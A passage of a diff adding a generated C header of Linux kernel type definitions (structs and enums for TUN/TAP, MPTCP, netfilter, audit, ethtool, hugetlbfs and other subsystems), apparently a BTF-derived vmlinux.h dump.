unsigned int base_baud; + int (*setup)(struct mid8250 *, struct uart_port *); + void (*exit)(struct mid8250 *); +}; + +struct mid8250 { + int line; + int dma_index; + struct pci_dev *dma_dev; + struct uart_8250_dma dma; + struct mid8250_board *board; + struct hsu_dma_chip dma_chip; +}; + +struct attribute_container { + struct list_head node; + struct klist containers; + struct class *class; + const struct attribute_group *grp; + struct device_attribute **attrs; + int (*match)(struct attribute_container *, struct device *); + long unsigned int flags; +}; + +struct transport_container; + +struct transport_class { + struct class class; + int (*setup)(struct transport_container *, struct device *, struct device *); + int (*configure)(struct transport_container *, struct device *, struct device *); + int (*remove)(struct transport_container *, struct device *, struct device *); +}; + +struct transport_container { + struct attribute_container ac; + const struct attribute_group *statistics; +}; + +struct anon_transport_class { + struct transport_class tclass; + struct attribute_container container; +}; + +enum { + IFLA_TUN_UNSPEC = 0, + IFLA_TUN_OWNER = 1, + IFLA_TUN_GROUP = 2, + IFLA_TUN_TYPE = 3, + IFLA_TUN_PI = 4, + IFLA_TUN_VNET_HDR = 5, + IFLA_TUN_PERSIST = 6, + IFLA_TUN_MULTI_QUEUE = 7, + IFLA_TUN_NUM_QUEUES = 8, + IFLA_TUN_NUM_DISABLED_QUEUES = 9, + __IFLA_TUN_MAX = 10, +}; + +struct tun_pi { + __u16 flags; + __be16 proto; +}; + +struct tun_filter { + __u16 flags; + __u16 count; + __u8 addr[0]; +}; + +struct tun_msg_ctl { + short unsigned int type; + short unsigned int num; + void *ptr; +}; + +struct tun_xdp_hdr { + int buflen; + struct virtio_net_hdr gso; +}; + +typedef struct { + ax25_address calls[8]; + unsigned char repeated[8]; + unsigned char ndigi; + signed char lastrepeat; +} ax25_digi; + +struct ax25_cb { + struct hlist_node ax25_node; + ax25_address source_addr; + ax25_address dest_addr; + ax25_digi *digipeat; + ax25_dev *ax25_dev; + netdevice_tracker dev_tracker; + unsigned char iamdigi; + unsigned char state; + unsigned char modulus; + unsigned char pidincl; + short unsigned int vs; + short unsigned int vr; + short unsigned int va; + unsigned char condition; + unsigned char backoff; + unsigned char n2; + unsigned char n2count; + struct timer_list t1timer; + struct timer_list t2timer; + struct timer_list t3timer; + struct timer_list idletimer; + long unsigned int t1; + long unsigned int t2; + long unsigned int t3; + long unsigned int idle; + long unsigned int rtt; + short unsigned int paclen; + short unsigned int fragno; + short unsigned int fraglen; + struct sk_buff_head write_queue; + struct sk_buff_head reseq_queue; + struct sk_buff_head ack_queue; + struct sk_buff_head frag_queue; + unsigned char window; + struct timer_list timer; + struct timer_list dtimer; + struct sock *sk; + refcount_t refcount; +}; + +typedef struct ax25_cb ax25_cb; + +struct rose_neigh { + struct rose_neigh *next; + ax25_address callsign; + ax25_digi *digipeat; + ax25_cb *ax25; + struct net_device *dev; + short unsigned int count; + short unsigned int use; + unsigned int number; + char restarted; + char dce_mode; + char loopback; + struct sk_buff_head queue; + struct timer_list t0timer; + struct timer_list ftimer; +}; + +struct tap_filter { + unsigned int count; + u32 mask[2]; + unsigned char addr[48]; +}; + +struct tun_struct; + +struct tun_file { + struct sock sk; + struct socket socket; + struct tun_struct *tun; + struct fasync_struct *fasync; + unsigned int flags; + union { + u16 queue_index; + unsigned int ifindex; + }; + struct napi_struct napi; + bool napi_enabled; + bool napi_frags_enabled; + struct mutex napi_mutex; + struct list_head next; + struct tun_struct *detached; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct ptr_ring tx_ring; + struct xdp_rxq_info xdp_rxq; +}; + +struct tun_prog; + +struct tun_struct { + struct tun_file *tfiles[256]; + unsigned int numqueues; + unsigned int flags; + kuid_t owner; + kgid_t group; + struct net_device *dev; + netdev_features_t set_features; + int align; + int vnet_hdr_sz; + int sndbuf; + struct tap_filter txflt; + struct sock_fprog fprog; + bool filter_attached; + u32 msg_enable; + spinlock_t lock; + struct hlist_head flows[1024]; + struct timer_list flow_gc_timer; + long unsigned int ageing_time; + unsigned int numdisabled; + struct list_head disabled; + void *security; + u32 flow_count; + u32 rx_batched; + atomic_long_t rx_frame_errors; + struct bpf_prog *xdp_prog; + struct tun_prog *steering_prog; + struct tun_prog *filter_prog; + struct ethtool_link_ksettings link_ksettings; + struct file *file; + struct ifreq *ifr; +}; + +struct tun_page { + struct page *page; + int count; +}; + +struct tun_flow_entry { + struct hlist_node hash_link; + struct callback_head rcu; + struct tun_struct *tun; + u32 rxhash; + u32 rps_rxhash; + int queue_index; + long: 64; + long unsigned int updated; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct tun_prog { + struct callback_head rcu; + struct bpf_prog *prog; +}; + +struct veth { + __be16 h_vlan_proto; + __be16 h_vlan_TCI; +}; + +struct efi_system_resource_entry_v1 { + efi_guid_t fw_class; + u32 fw_type; + u32 fw_version; + u32 lowest_supported_fw_version; + u32 capsule_flags; + u32 last_attempt_version; + u32 last_attempt_status; +}; + +struct efi_system_resource_table { + u32 fw_resource_count; + u32 fw_resource_count_max; + u64 fw_resource_version; + u8 entries[0]; +}; + +struct esre_entry { + union { + struct efi_system_resource_entry_v1 *esre1; + } esre; + struct kobject kobj; + struct list_head list; +}; + +struct esre_attribute { + struct attribute attr; + ssize_t (*show)(struct esre_entry *, char *); + ssize_t (*store)(struct esre_entry *, const char *, size_t); +}; + +struct idle_inject_thread { + struct task_struct *tsk; + int should_run; +}; + +struct idle_inject_device { + struct hrtimer timer; + unsigned int idle_duration_us; + unsigned int run_duration_us; + unsigned int latency_us; + bool (*update)(); + long unsigned int cpumask[0]; +}; + +struct ndt_stats { + __u64 ndts_allocs; + __u64 ndts_destroys; + __u64 ndts_hash_grows; + __u64 ndts_res_failed; + __u64 ndts_lookups; + __u64 ndts_hits; + __u64 ndts_rcv_probes_mcast; + __u64 ndts_rcv_probes_ucast; + __u64 ndts_periodic_gc_runs; + __u64 ndts_forced_gc_runs; + __u64 ndts_table_fulls; +}; + +enum { + NDTPA_UNSPEC = 0, + NDTPA_IFINDEX = 1, + NDTPA_REFCNT = 2, + NDTPA_REACHABLE_TIME = 3, + NDTPA_BASE_REACHABLE_TIME = 4, + NDTPA_RETRANS_TIME = 5, + NDTPA_GC_STALETIME = 6, + NDTPA_DELAY_PROBE_TIME = 7, + NDTPA_QUEUE_LEN = 8, + NDTPA_APP_PROBES = 9, + NDTPA_UCAST_PROBES = 10, + NDTPA_MCAST_PROBES = 11, + NDTPA_ANYCAST_DELAY = 12, + NDTPA_PROXY_DELAY = 13, + NDTPA_PROXY_QLEN = 14, + NDTPA_LOCKTIME = 15, + NDTPA_QUEUE_LENBYTES = 16, + NDTPA_MCAST_REPROBES = 17, + NDTPA_PAD = 18, + NDTPA_INTERVAL_PROBE_TIME_MS = 19, + __NDTPA_MAX = 20, +}; + +struct ndtmsg { + __u8 ndtm_family; + __u8 ndtm_pad1; + __u16 ndtm_pad2; +}; + +struct ndt_config { + __u16 ndtc_key_len; + __u16 ndtc_entry_size; + __u32 ndtc_entries; + __u32 ndtc_last_flush; + __u32 ndtc_last_rand; + __u32 ndtc_hash_rnd; + __u32 ndtc_hash_mask; + __u32 ndtc_hash_chain_gc; + __u32 ndtc_proxy_qlen; +}; + +enum { + NDTA_UNSPEC = 0, + NDTA_NAME = 1, + NDTA_THRESH1 = 2, + NDTA_THRESH2 = 3, + NDTA_THRESH3 = 4, + NDTA_CONFIG = 5, + NDTA_PARMS = 6, + NDTA_STATS = 7, + NDTA_GC_INTERVAL = 8, + NDTA_PAD = 9, + __NDTA_MAX = 10, +}; + +struct neigh_dump_filter { + int master_idx; + int dev_idx; +}; + +struct neigh_sysctl_table { + struct ctl_table_header *sysctl_header; + struct ctl_table neigh_vars[22]; +}; + +enum { + SCTP_CHUNK_FLAG_T = 1, +}; + +typedef struct sock * (*udp_lookup_t)(const struct sk_buff *, __be16, __be16); + +typedef struct sk_buff * (*gro_receive_sk_t)(struct sock *, struct list_head *, struct sk_buff *); + +struct xt_get_revision { + char name[29]; + __u8 revision; +}; + +struct ipt_getinfo { + char name[32]; + unsigned int valid_hooks; + unsigned int hook_entry[5]; + unsigned int underflow[5]; + unsigned int num_entries; + unsigned int size; +}; + +struct ipt_get_entries { + char name[32]; + unsigned int size; + struct ipt_entry entrytable[0]; +}; + +struct ipt_error { + struct ipt_entry entry; + struct xt_error_target target; +}; + +enum xfrm_ae_ftype_t { + XFRM_AE_UNSPEC = 0, + XFRM_AE_RTHR = 1, + XFRM_AE_RVAL = 2, + XFRM_AE_LVAL = 4, + XFRM_AE_ETHR = 8, + XFRM_AE_CR = 16, + XFRM_AE_CE = 32, + XFRM_AE_CU = 64, + __XFRM_AE_MAX = 65, +}; + +enum xfrm_nlgroups { + XFRMNLGRP_NONE = 0, + XFRMNLGRP_ACQUIRE = 1, + XFRMNLGRP_EXPIRE = 2, + XFRMNLGRP_SA = 3, + XFRMNLGRP_POLICY = 4, + XFRMNLGRP_AEVENTS = 5, + XFRMNLGRP_REPORT = 6, + XFRMNLGRP_MIGRATE = 7, + XFRMNLGRP_MAPPING = 8, + __XFRMNLGRP_MAX = 9, +}; + +struct km_event { + union { + u32 hard; + u32 proto; + u32 byid; + u32 aevent; + u32 type; + } data; + u32 seq; + u32 portid; + u32 event; + struct net *net; +}; + +struct mld2_grec { + __u8 grec_type; + __u8 grec_auxwords; + __be16 grec_nsrcs; + struct in6_addr grec_mca; + struct in6_addr grec_src[0]; +}; + +struct mld2_report { + struct icmp6hdr mld2r_hdr; + struct mld2_grec mld2r_grec[0]; +}; + +struct mld2_query { + struct icmp6hdr mld2q_hdr; + struct in6_addr mld2q_mca; + __u8 mld2q_qrv: 3; + __u8 mld2q_suppress: 1; + __u8 mld2q_resv2: 4; + __u8 mld2q_qqic; + __be16 mld2q_nsrcs; + struct in6_addr mld2q_srcs[0]; +}; + +struct igmp6_mc_iter_state { + struct seq_net_private p; + struct net_device *dev; + struct inet6_dev *idev; +}; + +struct igmp6_mcf_iter_state { + struct seq_net_private p; + struct net_device *dev; + struct inet6_dev *idev; + struct ifmcaddr6 *im; +}; + +struct calipso_doi { + u32 doi; + u32 type; + refcount_t refcount; + struct list_head list; + struct callback_head rcu; +}; + +struct netlbl_af4list { + __be32 addr; + __be32 mask; + u32 valid; + struct list_head list; +}; + +struct netlbl_af6list { + struct in6_addr addr; + struct in6_addr mask; + u32 valid; + struct list_head list; +}; + +struct netlbl_domaddr_map { + struct list_head list4; + struct list_head list6; +}; + +struct netlbl_dommap_def { + u32 type; + union { + struct netlbl_domaddr_map *addrsel; + struct cipso_v4_doi *cipso; + struct calipso_doi *calipso; + }; +}; + +struct netlbl_domaddr4_map { + struct netlbl_dommap_def def; + struct netlbl_af4list list; +}; + +struct netlbl_domaddr6_map { + struct netlbl_dommap_def def; + struct netlbl_af6list list; +}; + +struct netlbl_dom_map { + char *domain; + u16 family; + struct netlbl_dommap_def def; + u32 valid; + struct list_head list; + struct callback_head rcu; +}; + +struct netlbl_domhsh_tbl { + struct list_head *tbl; + u32 size; +}; + +struct virtio_transport { + struct vsock_transport transport; + int (*send_pkt)(struct sk_buff *); +}; + +struct vsock_loopback { + struct workqueue_struct *workqueue; + struct sk_buff_head pkt_queue; + struct work_struct pkt_work; +}; + +enum { + MPTCP_PM_ATTR_UNSPEC = 0, + MPTCP_PM_ATTR_ADDR = 1, + MPTCP_PM_ATTR_RCV_ADD_ADDRS = 2, + MPTCP_PM_ATTR_SUBFLOWS = 3, + MPTCP_PM_ATTR_TOKEN = 4, + MPTCP_PM_ATTR_LOC_ID = 5, + MPTCP_PM_ATTR_ADDR_REMOTE = 6, + __MPTCP_PM_ATTR_MAX = 7, +}; + +enum { + MPTCP_PM_ADDR_ATTR_UNSPEC = 0, + MPTCP_PM_ADDR_ATTR_FAMILY = 1, + MPTCP_PM_ADDR_ATTR_ID = 2, + MPTCP_PM_ADDR_ATTR_ADDR4 = 3, + MPTCP_PM_ADDR_ATTR_ADDR6 = 4, + MPTCP_PM_ADDR_ATTR_PORT = 5, + MPTCP_PM_ADDR_ATTR_FLAGS = 6, + MPTCP_PM_ADDR_ATTR_IF_IDX = 7, + __MPTCP_PM_ADDR_ATTR_MAX = 8, +}; + +enum { + MPTCP_PM_CMD_UNSPEC = 0, + MPTCP_PM_CMD_ADD_ADDR = 1, + MPTCP_PM_CMD_DEL_ADDR = 2, + MPTCP_PM_CMD_GET_ADDR = 3, + MPTCP_PM_CMD_FLUSH_ADDRS = 4, + MPTCP_PM_CMD_SET_LIMITS = 5, + MPTCP_PM_CMD_GET_LIMITS = 6, + MPTCP_PM_CMD_SET_FLAGS = 7, + MPTCP_PM_CMD_ANNOUNCE = 8, + MPTCP_PM_CMD_REMOVE = 9, + MPTCP_PM_CMD_SUBFLOW_CREATE = 10, + MPTCP_PM_CMD_SUBFLOW_DESTROY = 11, + __MPTCP_PM_CMD_AFTER_LAST = 12, +}; + +enum mptcp_event_type { + MPTCP_EVENT_UNSPEC = 0, + MPTCP_EVENT_CREATED = 1, + MPTCP_EVENT_ESTABLISHED = 2, + MPTCP_EVENT_CLOSED = 3, + MPTCP_EVENT_ANNOUNCED = 6, + MPTCP_EVENT_REMOVED = 7, + MPTCP_EVENT_SUB_ESTABLISHED = 10, + MPTCP_EVENT_SUB_CLOSED = 11, + MPTCP_EVENT_SUB_PRIORITY = 13, + MPTCP_EVENT_LISTENER_CREATED = 15, + MPTCP_EVENT_LISTENER_CLOSED = 16, +}; + +enum mptcp_event_attr { + MPTCP_ATTR_UNSPEC = 0, + MPTCP_ATTR_TOKEN = 1, + MPTCP_ATTR_FAMILY = 2, + MPTCP_ATTR_LOC_ID = 3, + MPTCP_ATTR_REM_ID = 4, + MPTCP_ATTR_SADDR4 = 5, + MPTCP_ATTR_SADDR6 = 6, + MPTCP_ATTR_DADDR4 = 7, + MPTCP_ATTR_DADDR6 = 8, + MPTCP_ATTR_SPORT = 9, + MPTCP_ATTR_DPORT = 10, + MPTCP_ATTR_BACKUP = 11, + MPTCP_ATTR_ERROR = 12, + MPTCP_ATTR_FLAGS = 13, + MPTCP_ATTR_TIMEOUT = 14, + MPTCP_ATTR_IF_IDX = 15, + MPTCP_ATTR_RESET_REASON = 16, + MPTCP_ATTR_RESET_FLAGS = 17, + MPTCP_ATTR_SERVER_SIDE = 18, + __MPTCP_ATTR_AFTER_LAST = 19, +}; + +enum mptcp_pm_status { + MPTCP_PM_ADD_ADDR_RECEIVED = 0, + MPTCP_PM_ADD_ADDR_SEND_ACK = 1, + MPTCP_PM_RM_ADDR_RECEIVED = 2, + MPTCP_PM_ESTABLISHED = 3, + MPTCP_PM_SUBFLOW_ESTABLISHED = 4, + MPTCP_PM_ALREADY_ESTABLISHED = 5, + MPTCP_PM_MPC_ENDPOINT_ACCOUNTED = 6, +}; + +enum mptcp_addr_signal_status { + MPTCP_ADD_ADDR_SIGNAL = 0, + MPTCP_ADD_ADDR_ECHO = 1, + MPTCP_RM_ADDR_SIGNAL = 2, +}; + +struct mptcp_pm_addr_entry { + struct list_head list; + struct mptcp_addr_info addr; + u8 flags; + int ifindex; + struct socket *lsk; +}; + +struct mptcp_pm_add_entry { + struct list_head list; + struct mptcp_addr_info addr; + struct timer_list add_timer; + struct mptcp_sock *sock; + u8 retrans_times; +}; + +struct pm_nl_pernet { + spinlock_t lock; + struct list_head local_addr_list; + unsigned int addrs; + unsigned int stale_loss_cnt; + unsigned int add_addr_signal_max; + unsigned int add_addr_accept_max; + unsigned int local_addr_max; + unsigned int subflows_max; + unsigned int next_id; + long unsigned int id_bitmap[4]; +}; + +struct estack_pages { + u32 offs; + u16 size; + u16 type; +}; + +struct ghcb_save_area { + u8 reserved_0x0[203]; + u8 cpl; + u8 reserved_0xcc[116]; + u64 xss; + u8 reserved_0x148[24]; + u64 dr7; + u8 reserved_0x168[16]; + u64 rip; + u8 reserved_0x180[88]; + u64 rsp; + u8 reserved_0x1e0[24]; + u64 rax; + u8 reserved_0x200[264]; + u64 rcx; + u64 rdx; + u64 rbx; + u8 reserved_0x320[8]; + u64 rbp; + u64 rsi; + u64 rdi; + u64 r8; + u64 r9; + u64 r10; + u64 r11; + u64 r12; + u64 r13; + u64 r14; + u64 r15; + u8 reserved_0x380[16]; + u64 sw_exit_code; + u64 sw_exit_info_1; + u64 sw_exit_info_2; + u64 sw_scratch; + u8 reserved_0x3b0[56]; + u64 xcr0; + u8 valid_bitmap[16]; + u64 x87_state_gpa; +}; + +struct ghcb { + struct ghcb_save_area save; + u8 reserved_save[1016]; + u8 shared_buffer[2032]; + u8 reserved_0xff0[10]; + u16 protocol_version; + u32 ghcb_usage; +}; + +typedef void (*nmi_shootdown_cb)(int, struct pt_regs *); + +enum intercept_words { + INTERCEPT_CR = 0, + INTERCEPT_DR = 1, + INTERCEPT_EXCEPTION = 2, + INTERCEPT_WORD3 = 3, + INTERCEPT_WORD4 = 4, + INTERCEPT_WORD5 = 5, + MAX_INTERCEPT = 6, +}; + +struct map_range { + long unsigned int start; + long unsigned int end; + unsigned int page_size_mask; +}; + +struct jit_context { + int cleanup_addr; + int tail_call_direct_label; + int tail_call_indirect_label; +}; + +struct x64_jit_data { + struct bpf_binary_header *rw_header; + struct bpf_binary_header *header; + int *addrs; + u8 *image; + int proglen; + struct jit_context ctx; +}; + +enum audit_nlgrps { + AUDIT_NLGRP_NONE = 0, + AUDIT_NLGRP_READLOG = 1, + __AUDIT_NLGRP_MAX = 2, +}; + +struct audit_status { + __u32 mask; + __u32 enabled; + __u32 failure; + __u32 pid; + __u32 rate_limit; + __u32 backlog_limit; + __u32 lost; + __u32 backlog; + union { + __u32 version; + __u32 feature_bitmap; + }; + __u32 backlog_wait_time; + __u32 backlog_wait_time_actual; +}; + +struct audit_features { + __u32 vers; + __u32 mask; + __u32 features; + __u32 lock; +}; + +struct audit_tty_status { + __u32 enabled; + __u32 log_passwd; +}; + +struct audit_sig_info { + uid_t uid; + pid_t pid; + char ctx[0]; +}; + +struct audit_net { + struct sock *sk; +}; + +struct auditd_connection { + struct pid *pid; + u32 portid; + struct net *net; + struct callback_head rcu; +}; + +struct audit_ctl_mutex { + struct mutex lock; + void *owner; +}; + +struct audit_buffer { + struct sk_buff *skb; + struct audit_context *ctx; + gfp_t gfp_mask; +}; + +struct audit_reply { + __u32 portid; + struct net *net; + struct sk_buff *skb; +}; + +struct reuseport_array { + struct bpf_map map; + struct sock *ptrs[0]; +}; + +typedef int filler_t(struct file *, struct folio *); + +struct wait_page_key { + struct folio *folio; + int bit_nr; + int page_match; +}; + +struct trace_event_raw_mm_filemap_op_page_cache { + struct trace_entry ent; + long unsigned int pfn; + long unsigned int i_ino; + long unsigned int index; + dev_t s_dev; + unsigned char order; + char __data[0]; +}; + +struct trace_event_raw_filemap_set_wb_err { + struct trace_entry ent; + long unsigned int i_ino; + dev_t s_dev; + errseq_t errseq; + char __data[0]; +}; + +struct trace_event_raw_file_check_and_advance_wb_err { + struct trace_entry ent; + struct file *file; + long unsigned int i_ino; + dev_t s_dev; + errseq_t old; + errseq_t new; + char __data[0]; +}; + +struct trace_event_data_offsets_mm_filemap_op_page_cache {}; + +struct trace_event_data_offsets_filemap_set_wb_err {}; + +struct trace_event_data_offsets_file_check_and_advance_wb_err {}; + +typedef void (*btf_trace_mm_filemap_delete_from_page_cache)(void *, struct folio *); + +typedef void (*btf_trace_mm_filemap_add_to_page_cache)(void *, struct folio *); + +typedef void (*btf_trace_filemap_set_wb_err)(void *, struct address_space *, errseq_t); + +typedef void (*btf_trace_file_check_and_advance_wb_err)(void *, struct file *, errseq_t); + +enum behavior { + EXCLUSIVE = 0, + SHARED = 1, + DROP = 2, +}; + +struct memory_tier { + struct list_head list; + struct list_head memory_types; + int adistance_start; + struct device dev; + nodemask_t lower_tier_mask; +}; + +struct memory_dev_type { + struct list_head tier_sibiling; + int adistance; + nodemask_t nodes; + struct kref kref; +}; + +struct demotion_nodes { + nodemask_t preferred; +}; + +struct node_memory_type_map { + struct memory_dev_type *memtype; + int map_count; +}; + +typedef __kernel_rwf_t rwf_t; + +enum legacy_fs_param { + LEGACY_FS_UNSET_PARAMS = 0, + LEGACY_FS_MONOLITHIC_PARAMS = 1, + LEGACY_FS_INDIVIDUAL_PARAMS = 2, +}; + +struct legacy_fs_context { + char *legacy_data; + size_t data_size; + enum legacy_fs_param param_type; +}; + +struct elf64_note { + Elf64_Word n_namesz; + Elf64_Word n_descsz; + Elf64_Word n_type; +}; + +struct elf_prpsinfo { + char pr_state; + char pr_sname; + char pr_zomb; + char pr_nice; + long unsigned int pr_flag; + __kernel_uid_t pr_uid; + __kernel_gid_t pr_gid; + pid_t pr_pid; + pid_t pr_ppid; + pid_t pr_pgrp; + pid_t pr_sid; + char pr_fname[16]; + char pr_psargs[80]; +}; + +struct arch_elf_state {}; + +struct memelfnote { + const char *name; + int type; + unsigned int datasz; + void *data; +}; + +struct user_regset_view { + const char *name; + const struct user_regset *regsets; + unsigned int n; + u32 e_flags; + u16 e_machine; + u8 ei_osabi; +}; + +struct elf_thread_core_info { + struct elf_thread_core_info *next; + struct task_struct *task; + struct elf_prstatus prstatus; + struct memelfnote notes[0]; +}; + +struct elf_note_info { + struct elf_thread_core_info *thread; + struct memelfnote psinfo; + struct memelfnote signote; + struct memelfnote auxv; + struct memelfnote files; + siginfo_t csigdata; + size_t size; + int thread_notes; +}; + +struct hugetlbfs_inode_info { + struct shared_policy policy; + struct inode vfs_inode; + unsigned int seals; +}; + +enum hugetlbfs_size_type { + NO_SIZE = 0, + SIZE_STD = 1, + SIZE_PERCENT = 2, +}; + +struct hugetlbfs_fs_context { + struct hstate *hstate; + long long unsigned int max_size_opt; + long long unsigned int min_size_opt; + long int max_hpages; + long int nr_inodes; + long int min_hpages; + enum hugetlbfs_size_type max_val_type; + enum hugetlbfs_size_type min_val_type; + kuid_t uid; + kgid_t gid; + umode_t mode; +}; + +enum hugetlb_param { + Opt_gid___4 = 0, + Opt_min_size = 1, + Opt_mode___3 = 2, + Opt_nr_inodes___2 = 3, + Opt_pagesize = 4, + Opt_size___2 = 5, + Opt_uid___3 = 6, +}; + +enum key_lookup_flag { + KEY_LOOKUP_CREATE = 1, + KEY_LOOKUP_PARTIAL = 2, + KEY_LOOKUP_ALL = 3, +}; + +struct crypto_istat_cipher { + atomic64_t encrypt_cnt; + atomic64_t encrypt_tlen; + atomic64_t decrypt_cnt; + atomic64_t decrypt_tlen; + atomic64_t err_cnt; +}; + +enum { + SKCIPHER_WALK_PHYS = 1, + SKCIPHER_WALK_SLOW = 2, + SKCIPHER_WALK_COPY = 4, + SKCIPHER_WALK_DIFF = 8, + SKCIPHER_WALK_SLEEP = 16, +}; + +struct skcipher_walk_buffer { + struct list_head entry; + struct scatter_walk dst; + unsigned int len; + u8 *data; + u8 buffer[0]; +}; + +struct authenc_esn_instance_ctx { + struct crypto_ahash_spawn auth; + struct crypto_skcipher_spawn enc; +}; + +struct crypto_authenc_esn_ctx { + unsigned int reqoff; + struct crypto_ahash *auth; + struct crypto_skcipher *enc; + struct crypto_sync_skcipher *null; +}; + +struct authenc_esn_request_ctx { + struct scatterlist src[2]; + struct scatterlist dst[2]; + char tail[0]; +}; + +enum { + IOU_F_TWQ_FORCE_NORMAL = 1, + IOU_F_TWQ_LAZY_WAKE = 2, +}; + +struct io_notif_data { + struct file *file; + struct ubuf_info uarg; + long unsigned int account_pages; + bool zc_report; + bool zc_used; + bool zc_copied; +}; + +struct fb_modelist { + struct list_head list; + struct fb_videomode mode; +}; + +struct acpi_s2idle_dev_ops { + struct list_head list_node; + void (*prepare)(); + void (*check)(); + void (*restore)(); +}; + +struct lpi_device_info { + char *name; + int enabled; + union acpi_object *package; +}; + +struct lpi_device_constraint { + int uid; + int min_dstate; + int function_states; +}; + +struct lpi_constraints { + acpi_handle handle; + int min_dstate; +}; + +struct lpi_device_constraint_amd { + char *name; + int enabled; + int function_states; + int min_dstate; +}; + +struct amd_lps0_hid_device_data { + const bool check_off_by_one; +}; + +typedef acpi_status (*acpi_object_converter)(struct acpi_namespace_node *, union acpi_operand_object *, union acpi_operand_object **); + +struct acpi_simple_repair_info { + char name[4]; + u32 unexpected_btypes; + u32 package_index; + acpi_object_converter object_converter; +}; + +struct serial8250_config { + const char *name; + short unsigned int fifo_size; + short unsigned int tx_loadsz; + unsigned char fcr; + unsigned char rxtrig_bytes[4]; + unsigned int flags; +}; + +struct cpu { + int node_id; + int hotpluggable; + struct device dev; +}; + +struct cpu_attr { + struct device_attribute attr; + const struct cpumask * const map; +}; + +struct ml_effect_state { + struct ff_effect *effect; + long unsigned int flags; + int count; + long unsigned int play_at; + long unsigned int stop_at; + long unsigned int adj_at; +}; + +struct ml_device { + void *private; + struct ml_effect_state states[16]; + int gain; + struct timer_list timer; + struct input_dev *dev; + int (*play_effect)(struct input_dev *, void *, struct ff_effect *); +}; + +struct mc146818_get_time_callback_param { + struct rtc_time *time; + unsigned char ctrl; + unsigned char century; +}; + +struct simplefb_platform_data { + u32 width; + u32 height; + u32 stride; + const char *format; +}; + +struct ms_data { + long unsigned int quirks; + struct hid_device *hdev; + struct work_struct ff_worker; + __u8 strong; + __u8 weak; + void *output_report_dmabuf; +}; + +enum { + MAGNITUDE_STRONG = 2, + MAGNITUDE_WEAK = 3, + MAGNITUDE_NUM = 4, +}; + +struct xb1s_ff_report { + __u8 report_id; + __u8 enable; + __u8 magnitude[4]; + __u8 duration_10ms; + __u8 start_delay_10ms; + __u8 loop_count; +}; + +struct netdev_queue_attribute { + struct attribute attr; + ssize_t (*show)(struct netdev_queue *, char *); + ssize_t (*store)(struct netdev_queue *, const char *, size_t); +}; + +struct linkinfo_reply_data { + struct ethnl_reply_data base; + struct ethtool_link_ksettings ksettings; + struct ethtool_link_settings *lsettings; +}; + +enum { + ETHTOOL_A_CABLE_PAIR_A = 0, + ETHTOOL_A_CABLE_PAIR_B = 1, + ETHTOOL_A_CABLE_PAIR_C = 2, + ETHTOOL_A_CABLE_PAIR_D = 3, +}; + +enum { + ETHTOOL_A_CABLE_RESULT_UNSPEC = 0, + ETHTOOL_A_CABLE_RESULT_PAIR = 1, + ETHTOOL_A_CABLE_RESULT_CODE = 2, + __ETHTOOL_A_CABLE_RESULT_CNT = 3, + ETHTOOL_A_CABLE_RESULT_MAX = 2, +}; + +enum { + ETHTOOL_A_CABLE_FAULT_LENGTH_UNSPEC = 0, + ETHTOOL_A_CABLE_FAULT_LENGTH_PAIR = 1, + ETHTOOL_A_CABLE_FAULT_LENGTH_CM = 2, + __ETHTOOL_A_CABLE_FAULT_LENGTH_CNT = 3, + ETHTOOL_A_CABLE_FAULT_LENGTH_MAX = 2, +}; + +enum { + ETHTOOL_A_CABLE_TEST_NTF_STATUS_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_NTF_STATUS_STARTED = 1, + ETHTOOL_A_CABLE_TEST_NTF_STATUS_COMPLETED = 2, +}; + +enum { + ETHTOOL_A_CABLE_NEST_UNSPEC = 0, + ETHTOOL_A_CABLE_NEST_RESULT = 1, + ETHTOOL_A_CABLE_NEST_FAULT_LENGTH = 2, + __ETHTOOL_A_CABLE_NEST_CNT = 3, + ETHTOOL_A_CABLE_NEST_MAX = 2, +}; + +enum { + ETHTOOL_A_CABLE_TEST_NTF_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_NTF_HEADER = 1, + ETHTOOL_A_CABLE_TEST_NTF_STATUS = 2, + ETHTOOL_A_CABLE_TEST_NTF_NEST = 3, + __ETHTOOL_A_CABLE_TEST_NTF_CNT = 4, + ETHTOOL_A_CABLE_TEST_NTF_MAX = 3, +}; + +enum { + ETHTOOL_A_CABLE_TEST_TDR_CFG_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_TDR_CFG_FIRST = 1, + ETHTOOL_A_CABLE_TEST_TDR_CFG_LAST = 2, + ETHTOOL_A_CABLE_TEST_TDR_CFG_STEP = 3, + ETHTOOL_A_CABLE_TEST_TDR_CFG_PAIR = 4, + __ETHTOOL_A_CABLE_TEST_TDR_CFG_CNT = 5, + ETHTOOL_A_CABLE_TEST_TDR_CFG_MAX = 4, +}; + +enum { + ETHTOOL_A_CABLE_AMPLITUDE_UNSPEC = 0, + ETHTOOL_A_CABLE_AMPLITUDE_PAIR = 1, + ETHTOOL_A_CABLE_AMPLITUDE_mV = 2, + __ETHTOOL_A_CABLE_AMPLITUDE_CNT = 3, + ETHTOOL_A_CABLE_AMPLITUDE_MAX = 2, +}; + +enum { + ETHTOOL_A_CABLE_PULSE_UNSPEC = 0, + ETHTOOL_A_CABLE_PULSE_mV = 1, + __ETHTOOL_A_CABLE_PULSE_CNT = 2, + ETHTOOL_A_CABLE_PULSE_MAX = 1, +}; + +enum { + ETHTOOL_A_CABLE_STEP_UNSPEC = 0, + ETHTOOL_A_CABLE_STEP_FIRST_DISTANCE = 1, + ETHTOOL_A_CABLE_STEP_LAST_DISTANCE = 2, + ETHTOOL_A_CABLE_STEP_STEP_DISTANCE = 3, + __ETHTOOL_A_CABLE_STEP_CNT = 4, + ETHTOOL_A_CABLE_STEP_MAX = 3, +}; + +enum { + ETHTOOL_A_CABLE_TDR_NEST_UNSPEC = 0, + ETHTOOL_A_CABLE_TDR_NEST_STEP = 1, + ETHTOOL_A_CABLE_TDR_NEST_AMPLITUDE = 2, + ETHTOOL_A_CABLE_TDR_NEST_PULSE = 3, + __ETHTOOL_A_CABLE_TDR_NEST_CNT = 4, + ETHTOOL_A_CABLE_TDR_NEST_MAX = 3, +}; + +struct nf_nat_range2 { + unsigned int flags; + union nf_inet_addr min_addr; + union nf_inet_addr max_addr; + union nf_conntrack_man_proto min_proto; + union nf_conntrack_man_proto max_proto; + union nf_conntrack_man_proto base_proto; +}; + +struct ping_table { + struct hlist_head hash[64]; + spinlock_t lock; +}; + 